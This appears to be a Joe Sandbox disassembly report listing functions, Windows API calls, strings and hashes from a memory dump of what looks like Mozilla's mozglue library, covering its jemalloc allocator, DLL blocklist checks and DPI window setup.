Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
MOZ_CRASH(), xrefs: 6C993950
MALLOC_OPTIONS, xrefs: 6C9935FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
Compile-time page size does not divide the runtime one., xrefs: 6C993946
<jemalloc>, xrefs: 6C993941, 6C9939F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

EnableNonClientDpiScaling, xrefs: 6C9B5666
LoadCursorW, xrefs: 6C9B5774
ReleaseDC, xrefs: 6C9B5742
StretchDIBits, xrefs: 6C9B57CC
GetThreadDpiAwarenessContext, xrefs: 6C9B562D
GetDpiForWindow, xrefs: 6C9B5690
MonitorFromWindow, xrefs: 6C9B578D
LoadIconW, xrefs: 6C9B575B
user32, xrefs: 6C9B5601
GetSystemMetricsForDpi, xrefs: 6C9B5677
FillRect, xrefs: 6C9B5729
CreateSolidBrush, xrefs: 6C9B57E4
GetWindowDC, xrefs: 6C9B5710
gdi32, xrefs: 6C9B560A
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
RegisterClassW, xrefs: 6C9B56AC
SetWindowLongPtrW, xrefs: 6C9B57B7
SetWindowPos, xrefs: 6C9B56F7
CreateWindowExW, xrefs: 6C9B56C5
GetMonitorInfoW, xrefs: 6C9B57A2
DeleteObject, xrefs: 6C9B57F9
ShowWindow, xrefs: 6C9B56DE

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
_etoured.dll, xrefs: 6C9664ED
nvdxgiwrap.dll, xrefs: 6C966513
user32.dll, xrefs: 6C966526
nvd3d9wrap.dll, xrefs: 6C966500
detoured.dll, xrefs: 6C9664DA

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
MOZ_CRASH(), xrefs: 6C986AB8
MALLOC_OPTIONS, xrefs: 6C986888
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
<jemalloc>, xrefs: 6C986AA9, 6C986B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC
<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvd3d9wrap.dll, xrefs: 6C994466
nvinit.dll, xrefs: 6C994479

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10
MOZ_CRASH(), xrefs: 6C970CA7

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C9A6131
name, xrefs: 6C9A5E79, 6C9A5E8F
ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
expected a Count entry, xrefs: 6C9A5AC3
